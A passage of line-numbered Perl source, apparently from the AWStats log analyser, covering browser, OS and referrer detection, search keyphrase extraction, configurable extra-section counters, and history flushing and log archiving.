19785							&& $UserAgent !~ /$regnotie/o )
19786						{
19787							$_browser_h{"msie$2"}++;
19788							if ($PageBool) { $_browser_p{"msie$2"}++; }
19789							$TmpBrowser{$UserAgent} = "msie$2";
19790						}
19791
19792						# IE >= 11
19793                        elsif ($UserAgent =~ /$regvermsie11/o && $UserAgent !~ /$regnotie/o)
19794						{
19795                            $_browser_h{"msie$2"}++;
19796                            if ($PageBool) { $_browser_p{"msie$2"}++; }
19797                            $TmpBrowser{$UserAgent} = "msie$2";
19798						}
19799
19800						# Netscape 6.x, 7.x ... ? (must be at end of test)
19801						elsif ( $UserAgent =~ /$regvernetscape/o ) {
19802							$_browser_h{"netscape$1"}++;
19803							if ($PageBool) { $_browser_p{"netscape$1"}++; }
19804							$TmpBrowser{$UserAgent} = "netscape$1";
19805						}
19806
19807						# Netscape 3.x, 4.x ... ? (must be at end of test)
19808						elsif ($UserAgent =~ /$regvermozilla/o
19809							&& $UserAgent !~ /$regnotnetscape/o )
19810						{
19811							$_browser_h{"netscape$2"}++;
19812							if ($PageBool) { $_browser_p{"netscape$2"}++; }
19813							$TmpBrowser{$UserAgent} = "netscape$2";
19814						}
19815
19816						# Other known browsers ?
19817						else {
19818							$found = 0;
19819							foreach (@BrowsersSearchIDOrder)
19820							{    # Search ID in order of BrowsersSearchIDOrder
19821								if ( $UserAgent =~ /$_/ ) {
19822									my $browser = &UnCompileRegex($_);
19823
19824								   # TODO If browser is in a family, use version
19825									$_browser_h{"$browser"}++;
19826									if ($PageBool) { $_browser_p{"$browser"}++; }
19827									$TmpBrowser{$UserAgent} = "$browser";
19828									$found = 1;
19829									last;
19830								}
19831							}
19832						}
19833
19834						# Unknown browser ?
19835						if ( !$found ) {
19836							$_browser_h{'Unknown'}++;
19837							if ($PageBool) { $_browser_p{'Unknown'}++; }
19838							$TmpBrowser{$UserAgent} = 'Unknown';
19839							my $newua = $UserAgent;
19840							$newua =~ tr/\+ /__/;
19841							$_unknownrefererbrowser_l{$newua} = $timerecord;
19842						}
19843					}
19844					else {
19845						$_browser_h{$uabrowser}++;
19846						if ($PageBool) { $_browser_p{$uabrowser}++; }
19847						if ( $uabrowser eq 'Unknown' ) {
19848							my $newua = $UserAgent;
19849							$newua =~ tr/\+ /__/;
19850							$_unknownrefererbrowser_l{$newua} = $timerecord;
19851						}
19852					}
19853
19854				}
19855
19856				if ($LevelForOSDetection) {
19857
19858					# Analyze: OS
19859					#------------
19860					my $uaos = $TmpOS{$UserAgent};
19861					if ( !$uaos ) {
19862						my $found = 0;
19863
19864						# in OSHashID list ?
19865						foreach (@OSSearchIDOrder)
19866						{    # Search ID in order of OSSearchIDOrder
19867							if ( $UserAgent =~ /$_/ ) {
19868								my $osid = $OSHashID{ &UnCompileRegex($_) };
19869								$_os_h{"$osid"}++;
19870								if ($PageBool) { $_os_p{"$osid"}++; }
19871								$TmpOS{$UserAgent} = "$osid";
19872								$found = 1;
19873								last;
19874							}
19875						}
19876
19877						# Unknown OS ?
19878						if ( !$found ) {
19879							$_os_h{'Unknown'}++;
19880							if ($PageBool) { $_os_p{'Unknown'}++; }
19881							$TmpOS{$UserAgent} = 'Unknown';
19882							my $newua = $UserAgent;
19883							$newua =~ tr/\+ /__/;
19884							$_unknownreferer_l{$newua} = $timerecord;
19885						}
19886					}
19887					else {
19888						$_os_h{$uaos}++;
19889						if ($PageBool) {
19890							$_os_p{$uaos}++;
19891						}
19892						if ( $uaos eq 'Unknown' ) {
19893							my $newua = $UserAgent;
19894							$newua =~ tr/\+ /__/;
19895							$_unknownreferer_l{$newua} = $timerecord;
19896						}
19897					}
19898
19899				}
19900
19901			}
19902			else {
19903				$_browser_h{'Unknown'}++;
19904				$_os_h{'Unknown'}++;
19905				if ($PageBool) {
19906					$_browser_p{'Unknown'}++;
19907					$_os_p{'Unknown'}++;
19908				}
19909			}
19910
19911			# Analyze: Referer
19912			#-----------------
19913			my $found = 0;
19914			if (   $pos_referer >= 0
19915				&& $LevelForRefererAnalyze
19916				&& $field[$pos_referer] )
19917			{
19918
19919				# Direct ?
19920				if (   $field[$pos_referer] eq '-'
19921					|| $field[$pos_referer] eq 'bookmarks' )
19922				{  # "bookmarks" is sent by Netscape, '-' by all others browsers
19923					    # Direct access
19924					if ($PageBool) {
19925						if ($ShowDirectOrigin) {
19926							print "Direct access for line $line\n";
19927						}
19928						$_from_p[0]++;
19929					}
19930					$_from_h[0]++;
19931					$found = 1;
19932				}
19933				else {
19934					$field[$pos_referer] =~ /$regreferer/o;
19935					my $refererprot   = $1;
19936					my $refererserver =
19937					    ( $2 || '' )
19938					  . ( !$3 || $3 eq ':80' ? '' : $3 )
19939					  ; # refererserver is www.xxx.com or www.xxx.com:81 but not www.xxx.com:80
19940					    # HTML link ?
19941					if ( $refererprot =~ /^http/i ) {
19942
19943#if ($Debug) { debug("  Analyze referer refererprot=$refererprot refererserver=$refererserver",5); }
19944
19945						# Kind of origin
19946						if ( !$TmpRefererServer{$refererserver} )
19947						{ # TmpRefererServer{$refererserver} is "=" if same site, "search egine key" if search engine, not defined otherwise
19948							if ( $refererserver =~ /$reglocal/o ) {
19949
19950						  # Intern (This hit came from another page of the site)
19951								if ($Debug) {
19952									debug(
19953"  Server '$refererserver' is added to TmpRefererServer with value '='",
19954										2
19955									);
19956								}
19957								$TmpRefererServer{$refererserver} = '=';
19958								$found = 1;
19959							}
19960							else {
19961								foreach (@HostAliases) {
19962									if ( $refererserver =~ /$_/ ) {
19963
19964						  # Intern (This hit came from another page of the site)
19965										if ($Debug) {
19966											debug(
19967"  Server '$refererserver' is added to TmpRefererServer with value '='",
19968												2
19969											);
19970										}
19971										$TmpRefererServer{$refererserver} = '=';
19972										$found = 1;
19973										last;
19974									}
19975								}
19976								if ( !$found ) {
19977
19978							 # Extern (This hit came from an external web site).
19979
19980									if ($LevelForSearchEnginesDetection) {
19981
19982										foreach (@SearchEnginesSearchIDOrder)
19983										{ # Search ID in order of SearchEnginesSearchIDOrder
19984											if ( $refererserver =~ /$_/ ) {
19985												my $key = &UnCompileRegex($_);
19986												if (
19987													!$NotSearchEnginesKeys{$key}
19988													|| $refererserver !~
19989/$NotSearchEnginesKeys{$key}/i
19990												  )
19991												{
19992
19993									 # This hit came from the search engine $key
19994													if ($Debug) {
19995														debug(
19996"  Server '$refererserver' is added to TmpRefererServer with value '$key'",
19997															2
19998														);
19999													}
20000													$TmpRefererServer{
20001														$refererserver} =
20002													  $SearchEnginesHashID{ $key
20003													  };
20004													$found = 1;
20005												}
20006												last;
20007											}
20008										}
20009
20010									}
20011								}
20012							}
20013						}
20014
20015						my $tmprefererserver =
20016						  $TmpRefererServer{$refererserver};
20017						if ($tmprefererserver) {
20018							if ( $tmprefererserver eq '=' ) {
20019
20020						  # Intern (This hit came from another page of the site)
20021								if ($PageBool) { $_from_p[4]++; }
20022								$_from_h[4]++;
20023								$found = 1;
20024							}
20025							else {
20026
20027								# This hit came from a search engine
20028								if ($PageBool) {
20029									$_from_p[2]++;
20030									$_se_referrals_p{$tmprefererserver}++;
20031								}
20032								$_from_h[2]++;
20033								$_se_referrals_h{$tmprefererserver}++;
20034								$found = 1;
20035								if ( $PageBool && $LevelForKeywordsDetection ) {
20036
20037									# we will complete %_keyphrases hash array
20038									my @refurl =
20039									  split( /\?/, $field[$pos_referer], 2 )
20040									  ; # TODO Use \? or [$URLQuerySeparators] ?
20041									if ( $refurl[1] ) {
20042
20043# Extract params of referer query string (q=cache:mmm:www/zzz+aaa+bbb q=aaa+bbb/ccc key=ddd%20eee lang_en ie=UTF-8 ...)
20044										if (
20045											$SearchEnginesKnownUrl{
20046												$tmprefererserver} )
20047										{  # Search engine with known URL syntax
20048											foreach my $param (
20049												split(
20050													/&/,
20051													$KeyWordsNotSensitive
20052													? lc( $refurl[1] )
20053													: $refurl[1]
20054												)
20055											  )
20056											{
20057												if ( $param =~
20058s/^$SearchEnginesKnownUrl{$tmprefererserver}//
20059												  )
20060												{
20061
20062	 # We found good parameter
20063	 # Now param is keyphrase: "cache:mmm:www/zzz+aaa+bbb/ccc+ddd%20eee'fff,ggg"
20064													$param =~
20065s/^(cache|related):[^\+]+//
20066													  ; # Should be useless since this is for hit on 'not pages'
20067													&ChangeWordSeparatorsIntoSpace
20068													  ($param)
20069													  ; # Change [ aaa+bbb/ccc+ddd%20eee'fff,ggg ] into [ aaa bbb/ccc ddd eee fff ggg]
20070													$param =~ s/^ +//;
20071													$param =~ s/ +$//;    # Trim
20072													$param =~ tr/ /\+/s;
20073													if ( ( ( length $param ) > 0 ) and ( ( length $param ) < 80 ) )
20074													{
20075														$_keyphrases{$param}++;
20076													}
20077													last;
20078												}
20079											}
20080										}
20081										elsif (
20082											$LevelForKeywordsDetection >= 2 )
20083										{ # Search engine with unknown URL syntax
20084											foreach my $param (
20085												split(
20086													/&/,
20087													$KeyWordsNotSensitive
20088													? lc( $refurl[1] )
20089													: $refurl[1]
20090												)
20091											  )
20092											{
20093												my $foundexcludeparam = 0;
20094												foreach my $paramtoexclude (
20095													@WordsToCleanSearchUrl)
20096												{
20097													if ( $param =~
20098														/$paramtoexclude/i )
20099													{
20100														$foundexcludeparam = 1;
20101														last;
20102													} # Not the param with search criteria
20103												}
20104												if ($foundexcludeparam) {
20105													next;
20106												}
20107
20108												# We found good parameter
20109												$param =~ s/.*=//;
20110
20111					   # Now param is keyphrase: "aaa+bbb/ccc+ddd%20eee'fff,ggg"
20112												$param =~
20113												  s/^(cache|related):[^\+]+//
20114												  ; # Should be useless since this is for hit on 'not pages'
20115												&ChangeWordSeparatorsIntoSpace(
20116													$param)
20117												  ; # Change [ aaa+bbb/ccc+ddd%20eee'fff,ggg ] into [ aaa bbb/ccc ddd eee fff ggg ]
20118												$param =~ s/^ +//;
20119												$param =~ s/ +$//;     # Trim
20120												$param =~ tr/ /\+/s;
20121												if ( ( length $param ) > 2 ) {
20122													$_keyphrases{$param}++;
20123													last;
20124												}
20125											}
20126										}
20127									}    # End of elsif refurl[1]
20128									elsif (
20129										$SearchEnginesWithKeysNotInQuery{
20130											$tmprefererserver} )
20131									{
20132
20133#										debug("xxx".$refurl[0]);
20134# If search engine with key inside page url like a9 (www.a9.com/searchkey1%20searchkey2)
20135										if ( $refurl[0] =~
20136/$SearchEnginesKnownUrl{$tmprefererserver}(.*)$/
20137										  )
20138										{
20139											my $param = $1;
20140											&ChangeWordSeparatorsIntoSpace(
20141												$param);
20142											$param =~ tr/ /\+/s;
20143											if ( ( length $param ) > 0 ) {
20144												$_keyphrases{$param}++;
20145											}
20146										}
20147									}
20148
20149								}
20150							}
20151						}    # End of if ($TmpRefererServer)
20152						else {
20153
20154						  # This hit came from a site other than a search engine
20155							if ($PageBool) { $_from_p[3]++; }
20156							$_from_h[3]++;
20157
20158# http://www.mysite.com/ must be same referer than http://www.mysite.com but .../mypage/ differs of .../mypage
20159#if ($refurl[0] =~ /^[^\/]+\/$/) { $field[$pos_referer] =~ s/\/$//; }	# Code moved in Save_History
20160# TODO: lowercase the value for referer server to have refering server not case sensitive
20161							if ($URLReferrerWithQuery) {
20162								if ($PageBool) {
20163									$_pagesrefs_p{ $field[$pos_referer] }++;
20164								}
20165								$_pagesrefs_h{ $field[$pos_referer] }++;
20166							}
20167							else {
20168
20169								# We discard query for referer
20170								if ( $field[$pos_referer] =~
20171									/$regreferernoquery/o )
20172								{
20173									if ($PageBool) { $_pagesrefs_p{"$1"}++; }
20174									$_pagesrefs_h{"$1"}++;
20175								}
20176								else {
20177									if ($PageBool) {
20178										$_pagesrefs_p{ $field[$pos_referer] }++;
20179									}
20180									$_pagesrefs_h{ $field[$pos_referer] }++;
20181								}
20182							}
20183							$found = 1;
20184						}
20185					}
20186
20187					# News Link ?
20188					#if (! $found && $refererprot =~ /^news/i) {
20189					#	$found=1;
20190					#	if ($PageBool) { $_from_p[5]++; }
20191					#	$_from_h[5]++;
20192					#}
20193				}
20194			}
20195
20196			# Origin not found
20197			if ( !$found ) {
20198				if ($ShowUnknownOrigin) {
20199					print "Unknown origin: $field[$pos_referer]\n";
20200				}
20201				if ($PageBool) { $_from_p[1]++; }
20202				$_from_h[1]++;
20203			}
20204
20205			# Analyze: EMail
20206			#---------------
20207			if ( $pos_emails >= 0 && $field[$pos_emails] ) {
20208				if ( $field[$pos_emails] eq '<>' ) {
20209					$field[$pos_emails] = 'Unknown';
20210				}
20211				elsif ( $field[$pos_emails] !~ /\@/ ) {
20212					$field[$pos_emails] .= "\@$SiteDomain";
20213				}
20214				$_emails_h{ lc( $field[$pos_emails] ) }
20215				  ++;    #Count accesses for sender email (hit)
20216				if ($pos_size>0){$_emails_k{ lc( $field[$pos_emails] ) } +=
20217				  int( $field[$pos_size] )
20218				  ;}      #Count accesses for sender email (kb)
20219				$_emails_l{ lc( $field[$pos_emails] ) } = $timerecord;
20220			}
20221			if ( $pos_emailr >= 0 && $field[$pos_emailr] ) {
20222				if ( $field[$pos_emailr] !~ /\@/ ) {
20223					$field[$pos_emailr] .= "\@$SiteDomain";
20224				}
20225				$_emailr_h{ lc( $field[$pos_emailr] ) }
20226				  ++;    #Count accesses for receiver email (hit)
20227				if ($pos_size>0){$_emailr_k{ lc( $field[$pos_emailr] ) } +=
20228				  int( $field[$pos_size] )
20229				  ;}      #Count accesses for receiver email (kb)
20230				$_emailr_l{ lc( $field[$pos_emailr] ) } = $timerecord;
20231			}
20232		}
20233
20234		# Check cluster
20235		#--------------
20236		if ( $pos_cluster >= 0 ) {
20237			if ($PageBool) {
20238				$_cluster_p{ $field[$pos_cluster] }++;
20239			}    #Count accesses for page (page)
20240			$_cluster_h{ $field[$pos_cluster] }
20241			  ++;    #Count accesses for page (hit)
20242			if ($pos_size>0){$_cluster_k{ $field[$pos_cluster] } +=
20243			  int( $field[$pos_size] );}    #Count accesses for page (kb)
20244		}
20245
20246		# Analyze: Extra
20247		#---------------
20248		foreach my $extranum ( 1 .. @ExtraName - 1 ) {
20249			if ($Debug) { debug( "  Process extra analyze $extranum", 4 ); }
20250
20251			# Check code
20252			my $conditionok = 0;
20253			if ( $ExtraCodeFilter[$extranum] ) {
20254				foreach
20255				  my $condnum ( 0 .. @{ $ExtraCodeFilter[$extranum] } - 1 )
20256				{
20257					if ($Debug) {
20258						debug(
20259"  Check code '$field[$pos_code]' must be '$ExtraCodeFilter[$extranum][$condnum]'",
20260							5
20261						);
20262					}
20263					if ( $field[$pos_code] eq
20264						"$ExtraCodeFilter[$extranum][$condnum]" )
20265					{
20266						$conditionok = 1;
20267						last;
20268					}
20269				}
20270				if ( !$conditionok && @{ $ExtraCodeFilter[$extranum] } ) {
20271					next;
20272				}    # End for this section
20273				if ($Debug) {
20274					debug(
20275"  No check on code or code is OK. Now we check other conditions.",
20276						5
20277					);
20278				}
20279			}
20280
20281			# Check conditions
20282			$conditionok = 0;
20283			foreach my $condnum ( 0 .. @{ $ExtraConditionType[$extranum] } - 1 )
20284			{
20285				my $conditiontype    = $ExtraConditionType[$extranum][$condnum];
20286				my $conditiontypeval =
20287				  $ExtraConditionTypeVal[$extranum][$condnum];
20288				if ( $conditiontype eq 'URL' ) {
20289					if ($Debug) {
20290						debug(
20291"  Check condition '$conditiontype' must contain '$conditiontypeval' in '$urlwithnoquery'",
20292							5
20293						);
20294					}
20295					if ( $urlwithnoquery =~ /$conditiontypeval/ ) {
20296						$conditionok = 1;
20297						last;
20298					}
20299				}
20300				elsif ( $conditiontype eq 'QUERY_STRING' ) {
20301					if ($Debug) {
20302						debug(
20303"  Check condition '$conditiontype' must contain '$conditiontypeval' in '$standalonequery'",
20304							5
20305						);
20306					}
20307					if ( $standalonequery =~ /$conditiontypeval/ ) {
20308						$conditionok = 1;
20309						last;
20310					}
20311				}
20312				elsif ( $conditiontype eq 'URLWITHQUERY' ) {
20313					if ($Debug) {
20314						debug(
20315"  Check condition '$conditiontype' must contain '$conditiontypeval' in '$urlwithnoquery$tokenquery$standalonequery'",
20316							5
20317						);
20318					}
20319					if ( "$urlwithnoquery$tokenquery$standalonequery" =~
20320						/$conditiontypeval/ )
20321					{
20322						$conditionok = 1;
20323						last;
20324					}
20325				}
20326				elsif ( $conditiontype eq 'REFERER' ) {
20327					if ($Debug) {
20328						debug(
20329"  Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_referer]'",
20330							5
20331						);
20332					}
20333					if ( $field[$pos_referer] =~ /$conditiontypeval/ ) {
20334						$conditionok = 1;
20335						last;
20336					}
20337				}
20338				elsif ( $conditiontype eq 'UA' ) {
20339					if ($Debug) {
20340						debug(
20341"  Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_agent]'",
20342							5
20343						);
20344					}
20345					if ( $field[$pos_agent] =~ /$conditiontypeval/ ) {
20346						$conditionok = 1;
20347						last;
20348					}
20349				}
20350				elsif ( $conditiontype eq 'HOSTINLOG' ) {
20351					if ($Debug) {
20352						debug(
20353"  Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_host]'",
20354							5
20355						);
20356					}
20357					if ( $field[$pos_host] =~ /$conditiontypeval/ ) {
20358						$conditionok = 1;
20359						last;
20360					}
20361				}
20362				elsif ( $conditiontype eq 'HOST' ) {
20363					my $hosttouse = ( $HostResolved ? $HostResolved : $Host );
20364					if ($Debug) {
20365						debug(
20366"  Check condition '$conditiontype' must contain '$conditiontypeval' in '$hosttouse'",
20367							5
20368						);
20369					}
20370					if ( $hosttouse =~ /$conditiontypeval/ ) {
20371						$conditionok = 1;
20372						last;
20373					}
20374				}
20375				elsif ( $conditiontype eq 'VHOST' ) {
20376					if ($Debug) {
20377						debug(
20378"  Check condision '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_vh]'",
20379							5
20380						);
20381					}
20382					if ( $field[$pos_vh] =~ /$conditiontypeval/ ) {
20383						$conditionok = 1;
20384						last;
20385					}
20386				}
20387				elsif ( $conditiontype =~ /extra(\d+)/i ) {
20388					if ($Debug) {
20389						debug(
20390"  Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_extra[$1]]'",
20391							5
20392						);
20393					}
20394					if ( $field[ $pos_extra[$1] ] =~ /$conditiontypeval/ ) {
20395						$conditionok = 1;
20396						last;
20397					}
20398				}
20399				else {
20400					error(
20401"Wrong value of parameter ExtraSectionCondition$extranum"
20402					);
20403				}
20404			}
20405			if ( !$conditionok && @{ $ExtraConditionType[$extranum] } ) {
20406				next;
20407			}    # End for this section
20408			if ($Debug) {
20409				debug(
20410"  No condition or condition is OK. Now we extract value for first column of extra chart.",
20411					5
20412				);
20413			}
20414
20415			# Determine actual column value to use.
20416			my $rowkeyval;
20417			my $rowkeyok = 0;
20418			foreach my $rowkeynum (
20419				0 .. @{ $ExtraFirstColumnValuesType[$extranum] } - 1 )
20420			{
20421				my $rowkeytype =
20422				  $ExtraFirstColumnValuesType[$extranum][$rowkeynum];
20423				my $rowkeytypeval =
20424				  $ExtraFirstColumnValuesTypeVal[$extranum][$rowkeynum];
20425				if ( $rowkeytype eq 'URL' ) {
20426					if ( $urlwithnoquery =~ /$rowkeytypeval/ ) {
20427						$rowkeyval = "$1";
20428						$rowkeyok  = 1;
20429						last;
20430					}
20431				}
20432				elsif ( $rowkeytype eq 'QUERY_STRING' ) {
20433					if ($Debug) {
20434						debug(
20435"  Extract value from '$standalonequery' with regex '$rowkeytypeval'.",
20436							5
20437						);
20438					}
20439					if ( $standalonequery =~ /$rowkeytypeval/ ) {
20440						$rowkeyval = "$1";
20441						$rowkeyok  = 1;
20442						last;
20443					}
20444				}
20445				elsif ( $rowkeytype eq 'URLWITHQUERY' ) {
20446					if ( "$urlwithnoquery$tokenquery$standalonequery" =~
20447						/$rowkeytypeval/ )
20448					{
20449						$rowkeyval = "$1";
20450						$rowkeyok  = 1;
20451						last;
20452					}
20453				}
20454				elsif ( $rowkeytype eq 'REFERER' ) {
20455					if ( $field[$pos_referer] =~ /$rowkeytypeval/ ) {
20456						$rowkeyval = "$1";
20457						$rowkeyok  = 1;
20458						last;
20459					}
20460				}
20461				elsif ( $rowkeytype eq 'UA' ) {
20462					if ( $field[$pos_agent] =~ /$rowkeytypeval/ ) {
20463						$rowkeyval = "$1";
20464						$rowkeyok  = 1;
20465						last;
20466					}
20467				}
20468				elsif ( $rowkeytype eq 'HOSTINLOG' ) {
20469					if ( $field[$pos_host] =~ /$rowkeytypeval/ ) {
20470						$rowkeyval = "$1";
20471						$rowkeyok  = 1;
20472						last;
20473					}
20474				}
20475				elsif ( $rowkeytype eq 'HOST' ) {
20476					my $hosttouse = ( $HostResolved ? $HostResolved : $Host );
20477					if ( $hosttouse =~ /$rowkeytypeval/ ) {
20478						$rowkeyval = "$1";
20479						$rowkeyok  = 1;
20480						last;
20481					}
20482				}
20483				elsif ( $rowkeytype eq 'VHOST' ) {
20484					if ( $field[$pos_vh] =~ /$rowkeytypeval/ ) {
20485						$rowkeyval = "$1";
20486						$rowkeyok  = 1;
20487						last;
20488					}
20489				}
20490				elsif ( $rowkeytype =~ /extra(\d+)/i ) {
20491					if ( $field[ $pos_extra[$1] ] =~ /$rowkeytypeval/ ) {
20492						$rowkeyval = "$1";
20493						$rowkeyok  = 1;
20494						last;
20495					}
20496				}
20497				else {
20498					error(
20499"Wrong value of parameter ExtraSectionFirstColumnValues$extranum"
20500					);
20501				}
20502			}
20503			if ( !$rowkeyok ) { next; }    # End for this section
20504			if ( !$rowkeyval ) { $rowkeyval = 'Failed to extract key'; }
20505			if ($Debug) { debug( "  Key val found: $rowkeyval", 5 ); }
20506
20507			# Apply function on $rowkeyval
20508			if ( $ExtraFirstColumnFunction[$extranum] ) {
20509
20510				# Todo call function on string $rowkeyval
20511			}
20512
20513			# Here we got all values to increase counters
20514			if ( $PageBool && $ExtraStatTypes[$extranum] =~ /P/i ) {
20515				${ '_section_' . $extranum . '_p' }{$rowkeyval}++;
20516			}
20517			${ '_section_' . $extranum . '_h' }{$rowkeyval}++;    # Must be set
20518			if ( $ExtraStatTypes[$extranum] =~ /B/i && $pos_size>0) {
20519				${ '_section_' . $extranum . '_k' }{$rowkeyval} +=
20520				  int( $field[$pos_size] );
20521			}
20522			if ( $ExtraStatTypes[$extranum] =~ /L/i ) {
20523				if ( ${ '_section_' . $extranum . '_l' }{$rowkeyval}
20524					|| 0 < $timerecord )
20525				{
20526					${ '_section_' . $extranum . '_l' }{$rowkeyval} =
20527					  $timerecord;
20528				}
20529			}
20530
20531			# Check to avoid too large extra sections
20532			if (
20533				scalar keys %{ '_section_' . $extranum . '_h' } >
20534				$ExtraTrackedRowsLimit )
20535			{
20536				error(<<END_ERROR_TEXT);
20537The number of values found for extra section $extranum has grown too large.
20538In order to prevent awstats from using an excessive amount of memory, the number
20539of values is currently limited to $ExtraTrackedRowsLimit. Perhaps you should consider
20540revising extract parameters for extra section $extranum. If you are certain you
20541want to track such a large data set, you can increase the limit by setting
20542ExtraTrackedRowsLimit in your awstats configuration file.
20543END_ERROR_TEXT
20544			}
20545		}
20546
20547# Every 20,000 approved lines after a flush, we test to clean too large hash arrays to flush data in tmp file
20548		if ( ++$counterforflushtest >= 20000 ) {
20549
20550			#if (++$counterforflushtest >= 1) {
20551			if (   ( scalar keys %_host_u ) > ( $LIMITFLUSH << 2 )
20552				|| ( scalar keys %_url_p ) > $LIMITFLUSH )
20553			{
20554
20555# warning("Warning: Try to run AWStats update process more frequently to analyze smaler log files.");
20556				if ( $^X =~ /activestate/i || $^X =~ /activeperl/i ) {
20557
20558# We don't flush if perl is activestate to avoid slowing process because of memory hole
20559				}
20560				else {
20561
20562					# Clean tmp hash arrays
20563					#%TmpDNSLookup = ();
20564					%TmpOS = %TmpRefererServer = %TmpRobot = %TmpBrowser = ();
20565
20566					# We flush if perl is not activestate
20567					print "Flush history file on disk";
20568					if ( ( scalar keys %_host_u ) > ( $LIMITFLUSH << 2 ) ) {
20569						print " (unique hosts reach flush limit of "
20570						  . ( $LIMITFLUSH << 2 ) . ")";
20571					}
20572					if ( ( scalar keys %_url_p ) > $LIMITFLUSH ) {
20573						print " (unique url reach flush limit of "
20574						  . ($LIMITFLUSH) . ")";
20575					}
20576					print "\n";
20577					if ($Debug) {
20578						debug(
20579"End of set of $counterforflushtest records: Some hash arrays are too large. We flush and clean some.",
20580							2
20581						);
20582						print " _host_p:"
20583						  . ( scalar keys %_host_p )
20584						  . " _host_h:"
20585						  . ( scalar keys %_host_h )
20586						  . " _host_k:"
20587						  . ( scalar keys %_host_k )
20588						  . " _host_l:"
20589						  . ( scalar keys %_host_l )
20590						  . " _host_s:"
20591						  . ( scalar keys %_host_s )
20592						  . " _host_u:"
20593						  . ( scalar keys %_host_u ) . "\n";
20594						print " _url_p:"
20595						  . ( scalar keys %_url_p )
20596						  . " _url_k:"
20597						  . ( scalar keys %_url_k )
20598						  . " _url_e:"
20599						  . ( scalar keys %_url_e )
20600						  . " _url_x:"
20601						  . ( scalar keys %_url_x ) . "\n";
20602						print " _waithost_e:"
20603						  . ( scalar keys %_waithost_e )
20604						  . " _waithost_l:"
20605						  . ( scalar keys %_waithost_l )
20606						  . " _waithost_s:"
20607						  . ( scalar keys %_waithost_s )
20608						  . " _waithost_u:"
20609						  . ( scalar keys %_waithost_u ) . "\n";
20610					}
20611					&Read_History_With_TmpUpdate(
20612						$lastprocessedyear,
20613						$lastprocessedmonth,
20614						$lastprocessedday,
20615						$lastprocessedhour,
20616						1,
20617						1,
20618						"all",
20619						( $lastlinenb + $NbOfLinesParsed ),
20620						$lastlineoffset,
20621						&CheckSum($_)
20622					);
20623					&GetDelaySinceStart(1);
20624					$NbOfLinesShowsteps = 1;
20625				}
20626			}
20627			$counterforflushtest = 0;
20628		}
20629
20630	}    # End of loop for processing new record.
20631
20632	if ($Debug) {
20633		debug(
20634			" _host_p:"
20635			  . ( scalar keys %_host_p )
20636			  . " _host_h:"
20637			  . ( scalar keys %_host_h )
20638			  . " _host_k:"
20639			  . ( scalar keys %_host_k )
20640			  . " _host_l:"
20641			  . ( scalar keys %_host_l )
20642			  . " _host_s:"
20643			  . ( scalar keys %_host_s )
20644			  . " _host_u:"
20645			  . ( scalar keys %_host_u ) . "\n",
20646			1
20647		);
20648		debug(
20649			" _url_p:"
20650			  . ( scalar keys %_url_p )
20651			  . " _url_k:"
20652			  . ( scalar keys %_url_k )
20653			  . " _url_e:"
20654			  . ( scalar keys %_url_e )
20655			  . " _url_x:"
20656			  . ( scalar keys %_url_x ) . "\n",
20657			1
20658		);
20659		debug(
20660			" _waithost_e:"
20661			  . ( scalar keys %_waithost_e )
20662			  . " _waithost_l:"
20663			  . ( scalar keys %_waithost_l )
20664			  . " _waithost_s:"
20665			  . ( scalar keys %_waithost_s )
20666			  . " _waithost_u:"
20667			  . ( scalar keys %_waithost_u ) . "\n",
20668			1
20669		);
20670		debug(
20671			"End of processing log file (AWStats memory cache is TmpDNSLookup="
20672			  . ( scalar keys %TmpDNSLookup )
20673			  . " TmpBrowser="
20674			  . ( scalar keys %TmpBrowser )
20675			  . " TmpOS="
20676			  . ( scalar keys %TmpOS )
20677			  . " TmpRefererServer="
20678			  . ( scalar keys %TmpRefererServer )
20679			  . " TmpRobot="
20680			  . ( scalar keys %TmpRobot ) . ")",
20681			1
20682		);
20683	}
20684
20685# Save current processed break section
20686# If lastprocesseddate > 0 means there is at least one approved new record in log or at least one existing history file
20687	if ( $lastprocesseddate > 0 )
20688	{
20689	    # TODO: Do not save if we are sure a flush was just already done
20690		# Get last line
20691		seek( LOG, $lastlineoffset, 0 );
20692		my $line = <LOG>;
20693		chomp $line;
20694		$line =~ s/\r$//;
20695		if ( !$NbOfLinesParsed )
20696		{
20697            # TODO If there was no lines parsed (log was empty), we only update LastUpdate line with YYYYMMDDHHMMSS 0 0 0 0 0
20698			&Read_History_With_TmpUpdate(
20699				$lastprocessedyear, $lastprocessedmonth,
20700				$lastprocessedday,  $lastprocessedhour,
20701				1,                  1,
20702				"all", ( $lastlinenb + $NbOfLinesParsed ),
20703				$lastlineoffset, &CheckSum($line)
20704			);
20705		}
20706		else {
20707			&Read_History_With_TmpUpdate(
20708				$lastprocessedyear, $lastprocessedmonth,
20709				$lastprocessedday,  $lastprocessedhour,
20710				1,                  1,
20711				"all", ( $lastlinenb + $NbOfLinesParsed ),
20712				$lastlineoffset, &CheckSum($line)
20713			);
20714		}
20715	}
20716
20717	if ($Debug) { debug("Close log file \"$LogFile\""); }
20718	close LOG || error("Command for pipe '$LogFile' failed");
20719
20720	# Process the Rename - Archive - Purge phase
20721	my $renameok  = 1;
20722	my $archiveok = 1;
20723
20724	# Open Log file for writing if PurgeLogFile is on
20725	if ($PurgeLogFile) {
20726		if ($ArchiveLogRecords) {
20727			if ( $ArchiveLogRecords == 1 ) {    # For backward compatibility
20728				$ArchiveFileName = "$DirData/${PROG}_archive$FileSuffix.log";
20729			}
20730			else {
20731				$ArchiveFileName =
20732				  "$DirData/${PROG}_archive$FileSuffix."
20733				  . &Substitute_Tags($ArchiveLogRecords) . ".log";
20734			}
20735			open( LOG, "+<$LogFile" )
20736			  || error(
20737"Enable to archive log records of \"$LogFile\" into \"$ArchiveFileName\" because source can't be opened for read and write: $!<br />\n"
20738			  );
20739		}
20740		else {
20741			open( LOG, "+<$LogFile" );
20742		}
20743		binmode LOG;
20744	}
20745
20746	# Rename all HISTORYTMP files into HISTORYTXT
20747	&Rename_All_Tmp_History();
20748
20749	# Purge Log file if option is on and all renaming are ok
20750	if ($PurgeLogFile) {
20751
20752		# Archive LOG file into ARCHIVELOG
20753		if ($ArchiveLogRecords) {
20754			if ($Debug) { debug("Start of archiving log file"); }
20755			open( ARCHIVELOG, ">>$ArchiveFileName" )
20756			  || error(
20757				"Couldn't open file \"$ArchiveFileName\" to archive log: $!");
20758			binmode ARCHIVELOG;
